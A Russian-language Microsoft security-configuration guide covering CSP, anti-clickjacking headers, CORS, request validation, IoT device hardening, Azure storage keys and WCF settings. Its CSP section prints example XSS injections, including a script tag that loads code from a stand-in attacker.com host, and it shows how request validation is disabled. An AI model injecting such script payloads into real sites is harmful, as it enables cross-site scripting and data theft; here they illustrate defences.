Механизм безопасности. Управление конфигурацией | Устранение рисков

Продукт или служба Статья
Веб-приложение
База данных
Веб-интерфейс API
Устройство IoT
Полевой шлюз Интернета вещей
Облачный шлюз Интернета вещей
Граница доверия между компьютерами
Хранилище Azure
WCF

Реализуйте политику безопасности содержимого (CSP) и отключите встроенный скрипт JavaScript

Title Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Общие сведения о политике безопасности содержимого, справочные материалы по политике безопасности содержимого, сведения о компонентах обеспечения безопасности, общие сведения о политике безопасности содержимого, сведения об использовании CSP
Шаги

Политика безопасности содержимого (CSP) — это многоуровневый механизм обеспечения безопасности, рекомендованный консорциумом W3C, который позволяет владельцам веб-приложений управлять содержимым их сайтов. CSP добавляется в виде заголовка ответа HTTP на веб-сервере и принудительно применяется в браузерах на стороне клиента. Эта политика основана на списке разрешений, то есть веб-сайт может объявить набор доверенных доменов, из которых можно скачивать активное содержимое, например скрипт JavaScript.

CSP предоставляет следующие преимущества безопасности.

  • Защита от межсайтовых сценариев. Если страница уязвима для такого типа атак, злоумышленник может проникнуть на нее двумя способами:
    • Внедрить <script>malicious code</script>. Злоумышленник не сможет проникнуть на страницу из-за базового ограничения 1 CSP.
    • Внедрить <script src="http://attacker.com/maliciousCode.js"/>. Злоумышленник не сможет проникнуть на страницу, так как его домен не включен в список разрешений CSP.
  • Контроль над извлечением данных. Если любое вредоносное содержимое на веб-странице попытается подключиться к внешнему веб-сайту и украсть данные, CSP прервет подключение. Это связано с тем, что целевой домен не включен в список разрешений.
  • Защита от кликджекинга. Кликджекинг — это метод атаки, с помощью которого злоумышленник может создать подлинный веб-сайт и вынудить пользователей щелкнуть элементы интерфейса. Сейчас защита от кликджекинга осуществляется с помощью заголовка ответа X-Frame-Options. Некоторые браузеры игнорируют этот заголовок и используют для защиты политику CSP.
  • Информирование об атаках в режиме реального времени. При обнаружении атаки путем внедрения кода на веб-сайте с поддержкой CSP браузеры автоматически отправляют уведомление на конечную точку, настроенную на веб-сервере. В этом случае CSP используется как система оповещений в режиме реального времени.

Пример

Пример политики:

Content-Security-Policy: default-src 'self'; script-src 'self' www.google-analytics.com 

Эта политика позволяет скачивать скрипты только с сервера веб-приложения и сервера Google Analytics. Все остальные скрипты отклоняются. Если на веб-сайте включена политика CSP, некоторые функции отключаются автоматически (см. ниже). Это позволяет предотвратить выполнение межсайтовых сценариев.

Пример

Встроенные скрипты выполняться не будут. Ниже приведены примеры встроенных скриптов.

<script> some JavaScript code </script>
Event handling attributes of HTML tags (for example, <button onclick="function(){}">
javascript:alert(1);

Пример

Строки не будут рассматриваться в качестве кода.

Example: var str="alert(1)"; eval(str);

Включите фильтр межсайтовых сценариев в браузере

Title Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Фильтр защиты от межсайтовых сценариев
Шаги

Конфигурация заголовка ответа X-XSS-Protection управляет фильтром выполнения межсайтовых сценариев в браузере. Этот заголовок ответа может иметь следующие значения.

  • 0:. Это значение позволяет отключить фильтр.
  • 1: Filter enabled. При обнаружении выполнения межсайтового сценария браузер очищает страницу, чтобы остановить атаку.
  • 1: mode=block : Filter enabled. При обнаружении выполнения межсайтового сценария браузер предотвращает визуализацию страницы, а не очищает ее.
  • 1: report=http://[YOURDOMAIN]/your_report_URI : Filter enabled. Браузер очищает страницу и выводит сообщение о нарушении.

Это функция браузера Chromium, которая использует сообщения о нарушениях для отправки сведений о нарушении в выбранный универсальный код ресурса (URI). Последние два параметра рассматриваются как безопасные значения.

Отключите трассировку и отладку приложений ASP.NET перед развертыванием

Title Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Общие сведения об отладке ASP.NET, Общие сведения о трассировке ASP.NET, Практическое руководство по включению трассировки для приложения ASP.NET, Практическое руководство по включению отладки для приложений ASP.NET.
Шаги Если трассировка страницы включена, каждый браузер, отправляющий к ней запрос, получает сведения о трассировке с данными о рабочем процессе и состоянии внутреннего сервера. Эти сведения могут быть секретными. Если включена отладка страницы, при возникновении ошибок на сервере все данные трассировки стека отправляются в браузер. Эти данные могут содержать секретные сведения о рабочем процессе сервера.

Получайте доступ к сторонним скриптам JavaScript только из доверенных источников

Title Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Недоступно
Шаги Используйте сторонние скрипты JavaScript только из доверенных источников На соответствующих конечных точках всегда должен быть включен протокол TLS.

Внедрите защиту от кликджекинга на страницах ASP.NET

Title Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Памятка по защите от кликджекинга OWASP, внутренняя документация Internet Explorer по борьбе с кликджекингом при помощи заголовка ответа X-Frame-Options
Шаги

Кликджекинг — это механизм обмана, при котором злоумышленник использует прозрачные или непрозрачные уровни, чтобы обманным путем заставить пользователя нажать кнопку или щелкнуть ссылку на другой странице, когда он намеревается щелкнуть страницу верхнего уровня.

Такая многоуровневая структура достигается за счет создания вредоносной страницы в фрейме, который загружает страницу жертвы. Таким образом, злоумышленник перехватывает щелчки мыши, сделанные на странице, и перенаправляет пользователей на другую страницу, скорее всего, принадлежащую другому приложению или домену (или и тому, и другому). Чтобы предотвратить кликджекинг, задайте соответствующие заголовки HTTP-ответа X-Frame-Options, не разрешающие использовать фреймы из других доменов в браузере.

Пример

Заголовок X-FRAME-OPTIONS можно задать в файле IIS web.config. Фрагмент кода web.config для сайтов, не использующих фреймы, выглядит следующим образом:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="DENY"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Пример

Код web.config для сайтов, использующих фреймы только на страницах, расположенных в одном и том же домене, выглядит следующим образом:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="SAMEORIGIN"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Настройте доступ к веб-приложениям ASP.NET с включенной технологией CORS только из доверенных источников

Title Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Веб-формы, MVC 5
Атрибуты Недоступно
Справочные материалы Недоступно
Шаги

Параметры безопасности веб-браузера предотвращают отправку запросов AJAX с веб-страницы к другому домену. Такое ограничение называется политикой одного источника. Эта политика предотвращает чтение вредоносным сайтом конфиденциальных данных с другого сайта. Тем не менее в некоторых случаях необходимо обеспечить безопасное предоставление API-интерфейсов, которые могут использовать другие сайты. Общий доступ к ресурсам независимо от источника (CORS) — это стандарт консорциума W3C, позволяющий серверу смягчить ограничения политики одного источника. С помощью CORS сервер может явным образом разрешить некоторые запросы независимо от источника, а другие — отклонить.

Технология CORS более безопасная и гибкая, чем предыдущие технологии, например JSONP. По сути, чтобы включить CORS, в код веб-приложения необходимо добавить несколько заголовков HTTP-ответа (Access-Control-*). Это можно сделать несколькими способами.

Пример

Если у вас есть доступ к файлу Web.config, то CORS можно добавить с помощью приведенного ниже кода.

<system.webServer>
    <httpProtocol>
      <customHeaders>
        <clear />
        <add name="Access-Control-Allow-Origin" value="https://example.com" />
      </customHeaders>
    </httpProtocol>

Пример

Если доступ к файлу web.config отсутствует, спецификацию CORS можно настроить, добавив следующий код C#:

HttpContext.Response.AppendHeader("Access-Control-Allow-Origin", "https://example.com")

Обратите внимание, что в качестве значения атрибута Access-Control-Allow-Origin настоятельно необходимо задать конечный набор доверенных источников. При неправильной конфигурации этого параметра (например, если задать значение "*") вредоносные сайты смогут отправлять независимые от источника запросы к веб приложению без каких-либо ограничений, в результате чего приложение становится уязвимым для CSRF-атак.

Включите атрибут ValidateRequest на страницах ASP.NET

Title Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Веб-формы, MVC 5
Атрибуты Недоступно
Справочные материалы Сведения о предотвращении атак путем внедрения кода с помощью функции проверки запросов
Шаги

Проверка запросов — это функция ASP.NET (начиная с версии 1.1), блокирующая прием содержимого с незашифрованным HTML-кодом на сервере. Эта функция помогает предотвращать некоторые атаки путем внедрения кода, с помощью которых злоумышленники могут оправлять неизвестный код скрипта клиента или HTML-код на сервер, сохранять его, а затем распространять другим пользователям. Мы настоятельно рекомендуем при необходимости проверять все входные данные и кодировать их в формате HTML.

Проверка запросов выполняется путем сравнения всех входящих данных со списком потенциально опасных значений. При выявлении совпадения ASP.NET вызывает исключение HttpRequestValidationException. По умолчанию функция проверки запросов включена.

Пример

Тем не менее эту функцию можно отключить на уровне страниц:

<%@ Page validateRequest="false" %> 

Или на уровне приложения:

<configuration>
   <system.web>
      <pages validateRequest="false" />
   </system.web>
</configuration>

Обратите внимание, что функция проверки запросов не поддерживается и не входит в конвейер MVC6.

Используйте локально размещенные последние версии библиотек JavaScript

Title Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Недоступно
Шаги

Разработчики, пользующиеся стандартными библиотеками JavaScript (например, JQuery), должны использовать их утвержденные версии, не имеющие известных проблем с безопасностью. Мы рекомендуем использовать последние версии библиотек, так как в них добавлены исправления проблем с безопасностью, обнаруженных в предыдущих версиях.

Если последний выпуск не поддерживается по причинам совместимости, используйте минимальные версии, приведенные ниже.

Минимальные допустимые версии:

  • JQuery
    • JQuery 1.7.1
    • JQueryUI 1.10.0
    • JQuery Validate 1.9
    • JQuery Mobile 1.0.1
    • JQuery Cycle 2.99
    • JQuery DataTables 1.9.0
  • AJAX Control Toolkit
    • Ajax Control Toolkit 40412
  • Веб-формы ASP.NET и Ajax
    • Веб-формы ASP.NET и Ajax 4
    • ASP.NET Ajax 3.5
  • ASP.NET MVC
    • ASP.NET MVC 3.0

Никогда не скачивайте какие-либо библиотеки JavaScript с внешних сайтов, например в общедоступной сети доставки содержимого.

Отключите автоматическое обнаружение типов MIME

Title Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Запись блога по безопасности IE8, часть 5 о комплексной защите, Список MIME-типов
Шаги Заголовок X-Content-Type-Options — это HTTP-заголовок, используя который разработчики могут запретить определение типов MIME содержимого. Этот заголовок обеспечивает защиту от атак путем определения типов MIME. Для каждой страницы, на которой может быть содержимое, управляемое пользователем, необходимо использовать HTTP-заголовок X-Content-Type-Options:nosniff. Чтобы включить требуемый заголовок глобально для всех страниц в приложении, выполните одно из следующих действий.

Пример

Добавьте заголовок в файл web.config, если приложение размещено в службах IIS 7 и более поздних версий.

<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="nosniff"/>
</customHeaders>
</httpProtocol>
</system.webServer>

Пример

Добавьте заголовок с помощью глобальной функции Application_BeginRequest

void Application_BeginRequest(object sender, EventArgs e)
{
this.Response.Headers["X-Content-Type-Options"] = "nosniff";
}

Пример

Внедрите пользовательский HTTP-модуль.

public class XContentTypeOptionsModule : IHttpModule
{
#region IHttpModule Members
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.PreSendRequestHeaders += newEventHandler(context_PreSendRequestHeaders);
}
#endregion
void context_PreSendRequestHeaders(object sender, EventArgs e)
{
HttpApplication application = sender as HttpApplication;
if (application == null)
  return;
if (application.Response.Headers["X-Content-Type-Options "] != null)
  return;
application.Response.Headers.Add("X-Content-Type-Options ", "nosniff");
}
}

Пример

Чтобы включить требуемый заголовок только для определенных страниц, добавьте его в отдельные ответы:

this.Response.Headers["X-Content-Type-Options"] = "nosniff";

Удалите стандартные заголовки сервера на веб-сайтах Microsoft Azure во избежание использования отпечатка

Title Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты EnvironmentType: Azure
Справочные материалы Сведения об удалении стандартных заголовков сервера на веб-сайтах Microsoft Azure
Шаги Такие заголовки, как Server, X-Powered-By, X-AspNet-Version, отображают сведения о сервере и базовых технологиях. Мы рекомендуем удалить эти заголовки, чтобы предотвратить использование отпечатка в приложении.

Настройка брандмауэра Windows для доступа к компоненту Database Engine

Title Сведения
Компонент База данных
Этап SDL Сборка
Применимые технологии SQL Azure, локальные
Атрибуты Отсутствуют, версия SQL: 12
Справочные материалы Обзор правил брандмауэра Базы данных SQL Azure, Настройка брандмауэра Windows для доступа к компоненту Database Engine
Шаги Системы брандмауэров предотвращают несанкционированный доступ к ресурсам компьютера. Чтобы получить доступ к экземпляру ядра СУБД SQL Server через брандмауэр, необходимо настроить брандмауэр на компьютере под управлением SQL Server.

Настройте доступ к веб-API ASP.NET с включенной технологией CORS только из доверенных источников

Title Сведения
Компонент Веб-API
Этап SDL Сборка
Применимые технологии MVC 5
Атрибуты Недоступно
Справочные материалы Статья о включении запросов независимо от источника в веб-API 2 ASP.NET, Поддержка CORS в веб-API 2 ASP.NET
Шаги

Параметры безопасности веб-браузера предотвращают отправку запросов AJAX с веб-страницы к другому домену. Такое ограничение называется политикой одного источника. Эта политика предотвращает чтение вредоносным сайтом конфиденциальных данных с другого сайта. Тем не менее в некоторых случаях необходимо обеспечить безопасное предоставление API-интерфейсов, которые могут использовать другие сайты. Общий доступ к ресурсам независимо от источника (CORS) — это стандарт консорциума W3C, позволяющий серверу смягчить ограничения политики одного источника.

С помощью CORS сервер может явным образом разрешить некоторые запросы независимо от источника, а другие — отклонить. Технология CORS более безопасная и гибкая, чем предыдущие технологии, например JSONP.

Пример

Откройте файл App_Start/WebApiConfig.cs и добавьте в метод WebApiConfig.Register следующий код:

using System.Web.Http;
namespace WebService
{
    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {
            // New code
            config.EnableCors();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }
}

Пример

Атрибут EnableCors можно применить к методам действий в контроллере следующим образом:

public class ResourcesController : ApiController
{
  [EnableCors("http://localhost:55912", // Origin
              null,                     // Request headers
              "GET",                    // HTTP methods
              "bar",                    // Response headers
              SupportsCredentials=true  // Allow credentials
  )]
  public HttpResponseMessage Get(int id)
  {
    var resp = Request.CreateResponse(HttpStatusCode.NoContent);
    resp.Headers.Add("bar", "a bar value");
    return resp;
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "PUT",                          // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "POST",                         // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
}

Обратите внимание, что в качестве значения атрибута EnableCors настоятельно необходимо задать конечный набор доверенных источников. При неправильной конфигурации этого параметра (например, если задать значение "*") вредоносные сайты смогут отправлять независимые от источника запросы к API без каких-либо ограничений, в результате чего API становится уязвимым для CSRF-атак. Атрибут EnableCors можно добавить на уровне контроллера.

Пример

Чтобы отключить CORS в определенном методе класса, добавьте атрибут DisableCors следующим образом:

[EnableCors("https://example.com", "Accept, Origin, Content-Type", "POST")]
public class ResourcesController : ApiController
{
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  // CORS not allowed because of the [DisableCors] attribute
  [DisableCors]
  public HttpResponseMessage Delete(int id)
  {
    return Request.CreateResponse(HttpStatusCode.NoContent);
  }
}
Title Сведения
Компонент Веб-API
Этап SDL Сборка
Применимые технологии MVC 6
Атрибуты Недоступно
Справочные материалы Статья о включении запросов независимо от источника в ASP.NET Core 1.0
Шаги

В ASP.NET Core 1.0 запросы независимо от источника можно включить с помощью ПО промежуточного слоя или MVC. Если CORS включается через MVC, используются те же самые службы CORS, но без ПО промежуточного слоя.

Способ 1. Включение CORS с помощью ПО промежуточного слоя: Чтобы включить CORS для всего приложения, добавьте ПО промежуточного слоя CORS в конвейер запросов с помощью метода расширения UseCors. При добавлении ПО промежуточного слоя CORS вы можете применить политику независимо от источника с помощью класса CorsPolicyBuilder. Это можно осуществить двумя путями:

Пример

Первый способ — вызвать UseCors с помощью лямбда-выражения. Лямбда-выражение принимает объект CorsPolicyBuilder:

public void Configure(IApplicationBuilder app)
{
    app.UseCors(builder =>
        builder.WithOrigins("https://example.com")
        .WithMethods("GET", "POST", "HEAD")
        .WithHeaders("accept", "content-type", "origin", "x-custom-header"));
}

Пример

Второй способ — определить одну или несколько именованных политик CORS, а затем выбрать политику по имени во время выполнения.

public void ConfigureServices(IServiceCollection services)
{
    services.AddCors(options =>
    {
        options.AddPolicy("AllowSpecificOrigin",
            builder => builder.WithOrigins("https://example.com"));
    });
}
public void Configure(IApplicationBuilder app)
{
    app.UseCors("AllowSpecificOrigin");
    app.Run(async (context) =>
    {
        await context.Response.WriteAsync("Hello World!");
    });
}

Способ 2. Включение CORS в MVC. Разработчики также могут использовать MVC, чтобы применить CORS для конкретного действия, для контроллера или глобально для всех контроллеров.

Пример

Для конкретного действия. Чтобы указать политику CORS для определенного действия, добавьте в это действие атрибут [EnableCors]. Введите имя политики.

public class HomeController : Controller
{
    [EnableCors("AllowSpecificOrigin")] 
    public IActionResult Index()
    {
        return View();
    }

Пример

Для контроллера:

[EnableCors("AllowSpecificOrigin")]
public class HomeController : Controller
{

Пример

Глобально:

public void ConfigureServices(IServiceCollection services)
{
    services.AddMvc();
    services.Configure<MvcOptions>(options =>
    {
        options.Filters.Add(new CorsAuthorizationFilterFactory("AllowSpecificOrigin"));
    });
}

Обратите внимание, что в качестве значения атрибута EnableCors настоятельно необходимо задать конечный набор доверенных источников. При неправильной конфигурации этого параметра (например, если задать значение "*") вредоносные сайты смогут отправлять независимые от источника запросы к API без каких-либо ограничений, в результате чего API становится уязвимым для CSRF-атак.

Пример

Чтобы отключить CORS для контроллера или действия, используйте атрибут [DisableCors].

[DisableCors]
    public IActionResult About()
    {
        return View();
    }

Шифруйте разделы файлов конфигурации веб-API, содержащие конфиденциальные данные

Title Сведения
Компонент Веб-API
Этап SDL Развертывание
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Руководство. Шифрование разделов конфигурации в ASP.NET 2.0 с помощью DPAPI, сведения об указании поставщика защищенной конфигурации, использование Azure Key Vault для защиты секретов приложения
Шаги Такие файлы конфигурации, как web.config и appsettings.json, часто используются для хранения конфиденциальной информации, включая имена пользователей, пароли, строки подключения к базам данных и ключи шифрования. Если эти данные не защищены, приложение становится уязвимым для злоумышленников, которые таким образом могут получить различные конфиденциальные сведения, например имена учетных записей пользователей, пароли, имена баз данных и имена серверов. На основе типа развертывания (Azure или локального) зашифруйте конфиденциальные разделы файлов конфигурации с помощью DPAPI или таких служб, как Azure Key Vault.

Обеспечьте безопасность всех интерфейсов администратора с использованием надежных учетных данных

Title Сведения
Компонент Устройства Интернета вещей
Этап SDL Развертывание
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Недоступно
Шаги Все административные интерфейсы устройства или полевого шлюза должны быть защищены с использованием надежных учетных данных. Кроме того, также необходимо обеспечить защиту остальных предоставленных интерфейсов, например Wi-Fi, SSH, общих файловых ресурсов и FTP. Не следует использовать слабые пароли, заданные по умолчанию.

Защитите устройства от выполнения неизвестного кода

Title Сведения
Компонент Устройства Интернета вещей
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Раздел о включении безопасной загрузки и шифрования BitLocker в Windows 10 IoT Базовая
Шаги Функция "Безопасная загрузка UEFI" обеспечивает выполнение в системе только двоичных файлов, подписанных в определенных центрах. Эта функция предотвращает выполнение неизвестного кода на платформе и защищает систему от потенциальных проблем с безопасностью. Включите функцию "Безопасная загрузка UEFI" и укажите список доверенных центров сертификации, использующихся для подписания кода. Подпишите весь код, развернутый на устройстве, в одном из доверенных центров.

Шифруйте разделы операционной системы и другие разделы устройства Интернета вещей с помощью BitLocker

Title Сведения
Компонент Устройства Интернета вещей
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Недоступно
Шаги Windows 10 IoT Базовая предоставляет облегченную версию функции шифрования устройства с помощью технологии BitLocker. Во многом эта функция зависит от наличия доверенного платформенного модуля на платформе, а также от протокола PreOS в UEFI, который выполняет необходимые измерения. Эти измерения гарантируют, что операционная система имеет необходимую запись о запуске. Мы рекомендуем шифровать с помощью технологии BitLocker разделы операционной системы, а также все прочие разделы, на которых хранятся конфиденциальные данные.

Включите минимальное количество служб и функций на устройстве

Title Сведения
Компонент Устройства Интернета вещей
Этап SDL Развертывание
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Недоступно
Шаги Не включайте или отключите любые функции или службы в операционной системе, не влияющие на работу решения. Например, если для устройства не требуется развертывать пользовательский интерфейс, установите Windows IoT Базовую в режиме без монитора.

Шифруйте разделы операционной системы и другие разделы полевого шлюза Интернета вещей с помощью BitLocker

Title Сведения
Компонент Полевой шлюз Интернета вещей
Этап SDL Развертывание
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Недоступно
Шаги Windows 10 IoT Базовая предоставляет облегченную версию функции шифрования устройства с помощью технологии BitLocker. Во многом эта функция зависит от наличия доверенного платформенного модуля на платформе, а также от протокола PreOS в UEFI, который выполняет необходимые измерения. Эти измерения гарантируют, что операционная система имеет необходимую запись о запуске. Мы рекомендуем шифровать с помощью технологии BitLocker разделы операционной системы, а также все прочие разделы, на которых хранятся конфиденциальные данные.

Измените учетные данные для входа в систему полевого шлюза по умолчанию во время установки

Title Сведения
Компонент Полевой шлюз Интернета вещей
Этап SDL Развертывание
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Недоступно
Шаги Измените учетные данные для входа в систему полевого шлюза по умолчанию во время установки

Реализуйте процесс обновления встроенного ПО подключенных устройств в облачном шлюзе

Title Сведения
Компонент Облачный шлюз Интернета вещей
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты Выбор шлюза: Центр Интернета вещей Azure
Справочные материалы Обзор управления устройствами Центра Интернета вещей,Учебник. Обновление устройств для Центра Интернета вещей Azure с использованием эталонного образа для Raspberry Pi 3 B+.
Шаги LWM2M — это протокол управления устройствами Интернета вещей, предоставленный международной организацией по разработке открытых стандартов для мобильных телефонов (Open Mobile Alliance, OMA). Управление устройствами Azure IoT позволяет взаимодействовать с физическими устройствами, используя задания устройств. Убедитесь, что облачный шлюз регулярно обновляет устройство и данные конфигурации с помощью функции управления устройствами с помощью Центра Интернета вещей Azure.

Настройте элементы управления безопасностью конечных точек устройства в соответствии с политиками организации

Title Сведения
Компонент Отношения доверия между компьютерами
Этап SDL Развертывание
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Недоступно
Шаги Убедитесь, что на устройстве настроены элементы управления безопасностью конечных точек, например шифрование BitLocker, выполняемое на уровне дисков, антивирусная программа с обновленными подписями, брандмауэр на основе узла, обновления операционной системы, групповые политики и т. д., в соответствии с политиками безопасности организации.

Обеспечьте безопасное управление ключами доступа к хранилищу Azure

Title Сведения
Компонент Хранилище Azure
Этап SDL Развертывание
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Руководство по безопасности службы хранилища Azure. Управление ключами учетной записи хранения
Шаги

Хранилище ключей. Мы рекомендуем хранить ключи доступа к хранилищу Azure в качестве секрета в Azure Key Vault и извлекать их оттуда, когда они понадобятся приложению. Это связано со следующими причинами.

  • Приложение никогда не хранит жестко закодированный ключ хранилища в файле конфигурации, что устраняет риск получения доступа к ключам со стороны лиц, не имеющих соответствующих разрешений.
  • Доступом к ключам можно управлять с помощью Azure Active Directory. Это означает, что владелец учетной записи может предоставить доступ для нескольких приложений, извлекающих ключи из Azure Key Vault. Другие приложения не смогут получить доступ к ключам, не имея необходимых разрешений.
  • Повторное создание ключей. По соображениям безопасности мы рекомендуем внедрить процесс повторного создания ключей доступа к хранилищу Azure. Сведения о том, зачем и как это сделать, см. в руководстве по безопасности службы хранилища Azure.

Настройте доступ к службе хранилища Azure с включенной технологией CORS только из доверенных источников

Title Сведения
Компонент Хранилище Azure
Этап SDL Сборка
Применимые технологии Универсальный шаблон
Атрибуты Недоступно
Справочные материалы Статья о поддержке CORS в службах хранилища Azure
Шаги Служба хранилища Azure позволяет включить CORS — общий доступ к ресурсам независимо от источника. Для каждой учетной записи хранения можно указать домены, которым разрешен доступ к ресурсам в ней. По умолчанию механизм CORS отключен для всех служб. Включить CORS можно с помощью REST API или клиентской библиотеки хранилища, вызвав один из методов для задания политик службы.

Включите компонент регулирования служб WCF

Title Сведения
Компонент WCF
Этап SDL Сборка
Применимые технологии .NET Framework 3
Атрибуты Недоступно
Справочные материалы MSDN, Fortify Kingdom
Шаги

Если не задать ограничение на использование системных ресурсов, они могут исчерпаться, что в конечном счете может привести к отказу в обслуживании.

  • Пояснение. Windows Communication Foundation (WCF) позволяет применить регулирование к запросам на обслуживание. Слишком большое количество клиентских запросов может привести к переполнению системы, в результате чего ее ресурсы могут исчерпаться. С другой стороны, при недостаточном количестве запросов к службе пользователи могут перестать использовать ее. Для каждой службы следует настроить необходимый объем ресурсов.
  • Рекомендации. Включите функцию регулирования служб WCF и задайте ограничения, соответствующие вашему приложению.

Пример

Ниже приведен пример конфигурации с включенной функцией регулирования.

<system.serviceModel> 
  <behaviors>
    <serviceBehaviors>
    <behavior name="Throttled">
    <serviceThrottling maxConcurrentCalls="[YOUR SERVICE VALUE]" maxConcurrentSessions="[YOUR SERVICE VALUE]" maxConcurrentInstances="[YOUR SERVICE VALUE]" /> 
  ...
</system.serviceModel> 

Применяйте раскрытие информации через метаданные, переданные WCF

Title Сведения
Компонент WCF
Этап SDL Сборка
Применимые технологии .NET Framework 3
Атрибуты Недоступно
Справочные материалы MSDN, Fortify Kingdom
Шаги Используя метаданные, злоумышленники могут получить сведения о системе и спланировать тип атаки. Службы WCF могут предоставлять метаданные. В этих метаданных содержится подробное описание службы, и поэтому их не следует передавать в рабочих средах. Свойства HttpGetEnabled / HttpsGetEnabled класса ServiceMetaData определяют, будет ли служба предоставлять метаданные.

Пример

Код ниже указывает WCF передавать метаданные службы.

ServiceMetadataBehavior smb = new ServiceMetadataBehavior();
smb.HttpGetEnabled = true; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb); 

Не передавайте метаданные службы в рабочей среде. Задайте для свойства HttpGetEnabled или HttpsGetEnabled класса ServiceMetaData значение false.

Пример

Код ниже указывает WCF не передавать метаданные службы.

ServiceMetadataBehavior smb = new ServiceMetadataBehavior(); 
smb.HttpGetEnabled = false; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb);